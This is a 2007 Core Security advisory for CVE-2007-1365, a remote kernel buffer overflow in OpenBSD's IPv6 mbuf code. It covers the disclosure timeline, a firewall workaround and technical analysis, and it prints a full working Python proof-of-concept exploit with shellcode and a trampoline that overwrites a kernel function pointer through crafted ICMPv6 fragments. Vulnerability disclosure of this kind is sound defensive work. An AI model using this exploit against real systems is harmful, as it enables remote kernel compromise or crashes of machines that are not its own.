Core Security Technologies Advisory 2007.0219

2007-03-14T00:00:00
ID PACKETSTORM:55074
Type packetstorm
Reporter Core Security Technologies
Modified 2007-03-14T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
  
Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
OpenBSD's IPv6 mbufs remote kernel buffer overflow  
  
  
  
Date Published: 2007-03-13  
  
Last Update: 2007-03-13  
  
Advisory ID: CORE-2007-0219  
  
Bugtraq ID: None currently assigned  
  
CVE Name: CVE-2007-1365  
  
Title: OpenBSD's IPv6 mbufs remote kernel buffer overflow  
  
Class: Buffer Overflow  
  
Remotely Exploitable: Yes  
  
Locally Exploitable: No  
  
Advisory URL:  
http://www.coresecurity.com/?action=item&id=1703  
  
Vendors contacted:  
  
OpenBSD.org  
. 2007-02-20: First notification sent by Core.  
. 2007-02-20: Acknowledgement of first notification received from the  
OpenBSD team.  
. 2007-02-21: Core sends draft advisory and proof of concept code that  
demonstrates remote kernel panic.  
. 2007-02-26: OpenBSD team develops a fix and commits it to the HEAD  
branch of source tree.  
. 2007-02-26: OpenBSD team communicates that the issue is specific to  
OpenBSD. OpenBSD no longer uses the term "vulnerability" when  
referring to bugs that lead to a remote denial of service attack,  
as opposed to bugs that lead to remote control of vulnerable systems  
to avoid oversimplifying ("pablumfication") the use of the term.  
. 2007-02-26: Core email sent to OpenBSD team explaining that Core  
considers a remote denial of service a security issue and therefore  
does use the term "vulnerability" to refer to it and that although  
remote code execution could not be proved in this specific case,  
the possibility should not be discarded. Core requests details about  
the bug and if possible an analysis of why the OpenBSD team may or  
may not consider the bug exploitable for remote code execution.  
. 2007-02-28: OpenBSD team indicates that the bug results in corruption  
of mbuf chains and that only IPv6 code uses that mbuf code, there is  
no user data in the mbuf header fields that become corrupted and it  
would be surprising to be able to run arbitrary code using a bug so  
deep in the mbuf code. The bug simply leads to corruption of the mbuf  
chain.  
. 2007-03-05: Core develops proof of concept code that demonstrates  
remote code execution in the kernel context by exploiting the mbuf  
overflow.  
. 2007-03-05: OpenBSD team notified of PoC availability.  
. 2007-03-07: OpenBSD team commits fix to OpenBSD 4.0 and 3.9 source  
tree branches and releases a "reliability fix" notice on the project's  
website.  
. 2007-03-08: Core sends final draft advisory to OpenBSD requesting  
comments and official vendor fix/patch information.  
. 2007-03-09: OpenBSD team changes notice on the project's website to  
"security fix" and indicates that Core's advisory should reflect the  
requirement of IPv6 connectivity for a successful attack from outside  
of the local network.  
. 2007-03-12: Advisory updates with fix and workaround information and  
with IPv6 connectivity comments from OpenBSD team. The "vendors  
contacted" section of the advisory is adjusted to reflect more  
accurately the nature of the communications with the OpenBSD team  
regarding this issue.  
. 2007-03-12: Workaround recommendations revisited. It is not yet  
conclusive that the "scrub in inet6" directive will prevent  
exploitation. It effectively stops the bug from triggering according  
to Core's tests but OpenBSD's source code inspection does not provide  
a clear understanding of why that happens. It could just be that the  
attack traffic is malformed in some other way that is not meaningful  
for exploiting the vulnerability (an error in the exploit code rather  
than an effective workaround?). The "scrub" workaround recommendation  
is removed from the advisory as precaution.  
. 2007-03-13: Core releases this advisory.  
  
Release Mode: FORCED RELEASE  
  
  
*Vulnerability Description*  
  
The OpenBSD kernel contains a memory corruption vulnerability in the  
code that handles IPv6 packets. Exploitation of this vulnerability can  
result in:  
  
1) Remote execution of arbitrary code at the kernel level on the  
vulnerable systems (complete system compromise), or;  
  
2) Remote denial of service attacks against vulnerable systems (system  
crash due to a kernel panic)  
  
The issue can be triggered by sending a specially crafted IPv6  
fragmented packet.  
  
OpenBSD systems using default installations are vulnerable because the  
default pre-compiled kernel binary (GENERIC) has IPv6 enabled and  
OpenBSD's firewall does not filter inbound IPv6 packets in its default  
configuration.  
  
However, in order to exploit a vulnerable system an attacker needs to  
be able to inject fragmented IPv6 packets on the target system's local  
network. This requires direct physical/logical access to the target's  
local network -in which case the attacking system does not need to have  
a working IPv6 stack- or the ability to route or tunnel IPv6 packets to  
the target from a remote network.  
  
  
*Vulnerable Packages*  
  
OpenBSD 4.1 prior to Feb. 26th, 2006.  
OpenBSD 4.0 Current  
OpenBSD 4.0 Stable  
OpenBSD 3.9  
OpenBSD 3.8  
OpenBSD 3.6  
OpenBSD 3.1  
  
All other releases that implement the IPv6 protocol stack may be  
vulnerable.  
  
  
*Solution/Vendor Information/Workaround*  
  
The OpenBSD team has released a "security fix" to correct the mbuf  
problem, it is available as a source code patch for OpenBSD 4.0  
and 3.9 here:  
  
ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/common/010_m_dup1.patch  
  
The patch can also be applied to previous versions of OpenBSD.  
  
  
OpenBSD-current, 4.1, 4.0 and 3.9 have the fix incorporated in their  
source code tree and kernel binaries for those versions and the  
upcoming version 4.1 include the fix.  
  
As a work around, users that do not need to process or route IPv6  
traffic on their systems can block all inbound IPv6 packets using  
OpenBSD's firewall. This can be accomplished by adding the following  
line to /etc/pf.conf:  
  
block in quick inet6 all  
  
After adding the desired rules to pf.conf it is necessary to load them  
to the running PF using:  
  
pfctl -f /etc/pf.conf  
  
To enable PF use:  
pfctl -e -f /etc/pf.conf  
  
To check the status of PF and list all loaded rules use:  
pfctl -s rules  
  
Refer to the pf.conf(5) and pfctl(8) manpages for proper configuration  
and use of OpenBSD's firewall capabilities.  
  
  
*Credits*  
  
This vulnerability was found and researched by Alfredo Ortega from  
Core Security Technologies. The proof-of-concept code included in the  
advisory was developed by Alfredo Ortega with assistance from  
Mario Vilas and Gerardo Richarte.  
  
  
*Technical Description - Exploit/Concept Code*  
  
The vulnerability is due to improper handling of kernel memory buffers  
using mbuf structures. The vulnerability is triggered by  
OpenBSD-specific code at the mbuf layer and developed to accommodate  
the processing of IPv6 protocol packets.  
  
By sending fragmented ICMPv6 packets an attacker can trigger an  
overflow of mbuf kernel memory structures resulting either in remote  
execution of arbitrary code in kernel mode or a kernel panic and  
subsequent system crash (a remote denial of service). Exploitation is  
accomplished by either:  
1) Gaining control of execution flow by overwriting a function pointer,  
or;  
2) Performing a mirrored 4 byte arbitrary memory overwrite similar to  
a user-space heap overflow.  
  
The overflowed structure is an mbuf, the structure used to store  
network packets in kernel memory.  
  
This is the definition (/sys/mbuf.h):  
  
- ---------------------  
struct mbuf {  
struct m_hdr m_hdr;  
union {  
struct {  
struct pkthdr MH_pkthdr; /* M_PKTHDR set */  
union {  
struct m_ext MH_ext; /* M_EXT set */  
char MH_databuf[MHLEN];  
} MH_dat;  
} MH;  
char M_databuf[MLEN]; /* !M_PKTHDR, !M_EXT */  
} M_dat;  
};  
- ---------------------  
  
We can see that the mbuf contains another structure of type m_ext  
(/sys/mbuf.h):  
  
- ---------------------  
/* description of external storage mapped into mbuf, valid if M_EXT set */  
struct m_ext {  
caddr_t ext_buf; /* start of buffer */  
/* free routine if not the usual */  
void (*ext_free)(caddr_t, u_int, void *);  
void *ext_arg; /* argument for ext_free */  
u_int ext_size; /* size of buffer, for ext_free */  
int ext_type;  
struct mbuf *ext_nextref;  
struct mbuf *ext_prevref;  
#ifdef DEBUG  
const char *ext_ofile;  
const char *ext_nfile;  
int ext_oline;  
int ext_nline;  
#endif  
};  
- ---------------------  
  
This second structure contains the variable ext_free, a pointer to a  
function called when the mbuf is freed. Overwriting a mbuf with a  
crafted ICMP v6 packet (or any type of IPv6 packet), an attacker can  
control the flow of execution of the OpenBSD Kernel when the m_freem()  
function is called on the overflowed packet from any place on the  
network stack.  
  
Also, since the mbufs are stored on a linked list, another variant of  
the attack is to overwrite the ext_nextref and ext_prevref pointers to  
cause a 32 bit write on a controlled area of the kernel memory, like a  
user-mode heap overflow exploit.  
  
The following is a simple working proof-of-concept program in Python  
that demonstrates remote code execution on vulnerable systems.  
It is necessary to set the target's system Ethernet address in the  
program to use it.  
  
The PoC executes the shellcode (int 3) and returns. It overwrites the  
ext_free() function pointer on the mbuf and forces a m_freem() on the  
overflowed packet.  
  
The Impacket library is used to craft and send packets  
(http://oss.coresecurity.com/projects/impacket.html or download from  
Debian repositories)  
  
Currently, only systems supporting raw sockets and the PF_PACKET family  
can run the included proof-of-concept code.  
  
Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC)  
Mon Oct 30"  
  
To use the code to test a custom machine you will need to:  
1) Adjust the MACADDRESS variable  
2) Find the right trampoline value for your system and replace it in  
the code. To find a proper trampoline value use the following command:  
"objdump -d /bsd | grep esi | grep jmp"  
3) Adjust the ICMP checksum  
  
The exploit should stop on an int 3 and pressing "c" in ddb the kernel  
will continue normally.  
  
- --------------------icmp.py---------------------  
#  
# Description:  
# OpenBSD ICMPv6 fragment remote execution PoC  
#  
# Author:  
# Alfredo Ortega  
# Mario Vilas  
#  
# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.  
# All rights reserved  
  
from impacket import ImpactPacket  
import struct  
import socket  
import time  
  
class BSD_ICMPv6_Remote_BO:  
MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f)  
def Run(self):  
self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)  
self.s.bind(('eth0',0x86dd))  
sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f' # source address  
destIP = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' # destination address Multicast Link-level  
firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP)  
validIcmp = self.buildValidICMPPacket(sourceIP,destIP)  
  
for i in range(100): # fill mbufs  
self.sendpacket(firstFragment)  
self.sendpacket(validIcmp)  
time.sleep(0.01)  
for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable  
self.sendpacket(secondFragment)  
time.sleep(0.1)  
self.sendpacket(firstFragment)  
self.sendpacket(validIcmp)  
time.sleep(0.1)  
  
def sendpacket(self, data):  
ipe = ImpactPacket.Ethernet()  
ipe.set_ether_dhost(self.MACADDRESS)  
ipd = ImpactPacket.Data(data)  
ipd.ethertype = 0x86dd # Ethertype for IPv6  
ipe.contains(ipd)  
p = ipe.get_packet()  
self.s.send(p)  
  
def buildOpenBSDPackets(self,sourceIP,destIP):  
HopByHopLenght= 1  
  
IPv6FragmentationHeader = ''  
IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (00: Hop by Hop)  
IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd  
IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset  
IPv6FragmentationHeader += struct.pack('!B', 0x01) # offset + More fragments: yes  
IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id  
  
IPv6HopByHopHeader = ''  
IPv6HopByHopHeader += struct.pack('!B', 0x2c) # next header (0x3A: ICMP)  
IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght ) # Hdr Ext Len (frutaaaaaaa :D )  
IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2) # Options  
  
longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)  
print longitud  
IPv6Packet = ''  
IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label  
IPv6Packet += struct.pack( '>H', longitud ) # payload length  
IPv6Packet += '\x00' # next header (2c: Fragmentation)  
IPv6Packet += '\x40' # hop limit  
  
IPv6Packet += sourceIP  
IPv6Packet += destIP  
  
firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)  
  
self.ShellCode = ''  
self.ShellCode += '\xcc' # int 3  
self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret  
  
ICMPv6Packet = ''  
ICMPv6Packet += '\x80' # type (128 == Icmp echo request)  
ICMPv6Packet += '\x00' # code  
ICMPv6Packet += '\xfb\x4e' # checksum  
ICMPv6Packet += '\x33\xf6' # ID  
ICMPv6Packet += '\x00\x00' # sequence  
ICMPv6Packet += ('\x90'*(212-len(self.ShellCode)))+self.ShellCode  
# Start of the next mfub (we land here):  
ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards  
ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB'  
# mbuf+0x20:  
trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp")  
ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG'  
longitud = len(ICMPv6Packet)  
  
  
IPv6Packet = ''  
IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label  
IPv6Packet += struct.pack( '>H', longitud ) # payload length  
IPv6Packet += '\x2c' # next header (2c: Fragmentation)  
IPv6Packet += '\x40' # hop limit  
IPv6Packet += sourceIP  
IPv6Packet += destIP  
  
IPv6FragmentationHeader = ''  
IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (3A: icmpV6)  
IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd  
IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset  
IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset + More fragments:no  
IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id  
  
secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet  
  
return firstFragment, secondFragment  
  
  
  
def buildValidICMPPacket(self,sourceIP,destIP):  
  
ICMPv6Packet = ''  
ICMPv6Packet += '\x80' # type (128 == Icmp echo request)  
ICMPv6Packet += '\x00' # code  
ICMPv6Packet += '\xcb\xc4' # checksum  
ICMPv6Packet += '\x33\xf6' # ID  
ICMPv6Packet += '\x00\x00' # sequence  
ICMPv6Packet += 'T'*1232  
  
longitud = len(ICMPv6Packet)  
  
IPv6Packet = ''  
IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label  
IPv6Packet += struct.pack( '>H', longitud ) # payload length  
IPv6Packet += '\x3A' # next header (2c: Fragmentation)  
IPv6Packet += '\x40' # hop limit  
IPv6Packet += sourceIP  
IPv6Packet += destIP  
  
icmpPacket = IPv6Packet+ICMPv6Packet  
  
return icmpPacket  
  
attack = BSD_ICMPv6_Remote_BO()  
attack.Run()  
- --------------------icmp.py---------------------  
  
*About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies.  
  
We conduct our research in several important areas of computer security  
including system vulnerabilities, cyber attack planning and simulation,  
source code auditing, and cryptography. Our results include problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies.  
  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs/  
  
  
*About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide. The company?s flagship  
product, CORE IMPACT, is the first automated penetration testing  
product for assessing specific information security threats to an  
organization. Penetration testing evaluates overall network security  
and identifies what resources are exposed. It enables organizations to  
determine if current security investments are detecting and preventing  
attacks.  
  
Core augments its leading technology solution with world-class security  
consulting services, including penetration testing, software security  
auditing and related training.  
  
Based in Boston, MA. and Buenos Aires, Argentina, Core Security  
Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
*DISCLAIMER*  
  
The contents of this advisory are copyright (c) 2007 CORE Security  
Technologies and (c) 2007 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper  
credit is given.  
  
*PGP Key*  
  
This advisory has been signed with the PGP key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc  
  
$Id: OpenBSD-advisory.txt 350 2007-03-13 20:13:27Z iarce $  
  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.7 (MingW32)  
  
iD8DBQFF9yhPyNibggitWa0RAjDhAJ0RNZgXPbmX90aG33ATUeW1UUS5QwCeLs0Z  
thOH8V7fHj9NRK8wpwIcWAg=  
=nosZ  
-----END PGP SIGNATURE-----  
`